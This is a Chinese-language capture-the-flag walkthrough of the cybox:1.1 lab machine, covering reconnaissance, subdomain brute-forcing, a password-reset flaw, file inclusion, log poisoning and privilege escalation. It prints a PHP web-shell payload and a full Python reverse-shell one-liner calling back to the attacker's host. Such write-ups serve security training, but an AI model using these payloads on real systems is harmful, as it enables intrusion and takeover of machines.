cybox:1.1靶机练习
2021-02-14 15:49:08 Author: www.freebuf.com(查看原文) 阅读量:76 收藏

cybox:1.1靶机练习

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.141

kali linux ip:192.168.1.137

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

下图中192.168.1.1为VMnet8网卡地址,1.3位网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.141

image

端口服务扫描:

image

靶机开启了80和443端口,访问一下看看

直接访问ip后是一个web页面

image

拖到页面最下方可以看到一个域名

image

爆破目录:

爆破一下目录

dirb "http://192.168.1.141" /usr/share/dirb/wordlists/big.txt

image

同时也使用dirbuster爆破一下详细页面,以取得更多的信息

image

依次访问dirb爆出的目录,发现assets目录下存放了些css、js文件

image

/cgi/bin目录无访问权限,/phpadmin目录只允许本地访问

dirbuster爆破结果也出来了,与dirb扫出的结果相差不大,此时并没有发现到什么有价值的页面。

image

此时我们甚至都没有找到真正提供服务的web页面,我们扫描端口时可以看到目标机器开放了ftp服务,还开放了pop3、imap,还提供邮件服务,很明显目标机器有一个较复杂的网站提供服务,但我们的扫描结果并不相符,说明爆破姿势不对

之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

vim /etc/hosts

image

这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接apt-get install gobuster进行安装

扫描后,可以看到,有了我们之前并未爆破出的页面

gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

image

依次访问各页面

dev.cybox.company是一个PHPinfo

image

ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码

image

webmail.cybox.company是一个邮箱登录页面

image

register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户

image

monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回

image

漏洞挖掘:

在上面这个页面,注册一个用户登录试一下

image

登录后发现并没有什么实际功能,只有一个创建条目记录时间的,不知道有什么作用

image

这里退出登录,试一下未注册用户,发现不存在的用户登录会直接提示用户不存在,这里可以试一下有无admin用户

image

尝试猜解管理员的用户名,因为登录页面提供密码修改,可以试试能不能越权修改密码,此处发现存在一个[email protected],显示密码错误,并没有显示用户不存在,先记下,一会看看能不能改

image

点击忘记密码,会跳转到一个发送链接的页面,这里是将修改链接发送到邮箱了,应该就是我们刚刚看到的那个邮箱的登录界面

image

到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aaa

image

之后再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接

image

点进去,跳转到一个修改密码页面,我们用burp抓下包,把邮箱改成admin的,看看能不能通过改包来越权修改admin用户的密码

imageimage

点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证

imageimage

点进Admin panel,看一下管理页面,结果,显示开发中

image

方法总比困难多,右键查看页面代码,可以看到,这里包含进来一个php页面

image

我们可以尝试文件包含,包含一个/etc/passwd文件测试一下,包含成功,此处存在文件包含漏洞

image

然后可以通过日志文件反弹一个shell,apache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志

image

我们转到ftp页面

image

打开burp抓包,刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码

<?php system($_GET['s']);?>

image

发包,然后测试一下,测试成功,没有问题

image

制作反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image

kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)

image

监听好端口后,web页面敲击回车,成功反弹shell,拿到了一个低权限的shell

image

权限提升:

首先查找有s权限的文件,只看非系统文件,此处需要审计代码,可以看到,在/opt目录下有一个registerlauncher

image

在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串

strings registerlauncher

image

在查看register文件内容,发现这是一个可以创建用户的文件

image

实际就是实现了那个register页面的功能,测试之前创建的aaa用户,此处可以登录

首先取得一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

然后尝试登录aaa,成功

image

试一下能不能切换root,失败,提示我们aaa不再sudoers文件中

image

另外此处我们无权限查看sudoers文件,但应该是有用户持有切换权限的,这里就需要试了,本来想写一个简单的小脚本来代替人工的,但考虑到我们还要在register页面创建新用户,自动化也没有什么太大的意义,所幸并不难猜,用户名起为sudo即可

image

创建完之后切换用户sudo,与之前一样,密码和用户名一致,即可切换root用户,至此提权完毕

image

在root的家目录下可以看到一个root.txt,查看一下,是个flag

image


文章来源: https://www.freebuf.com/articles/web/263568.html
如有侵权请联系:admin#unsafe.sh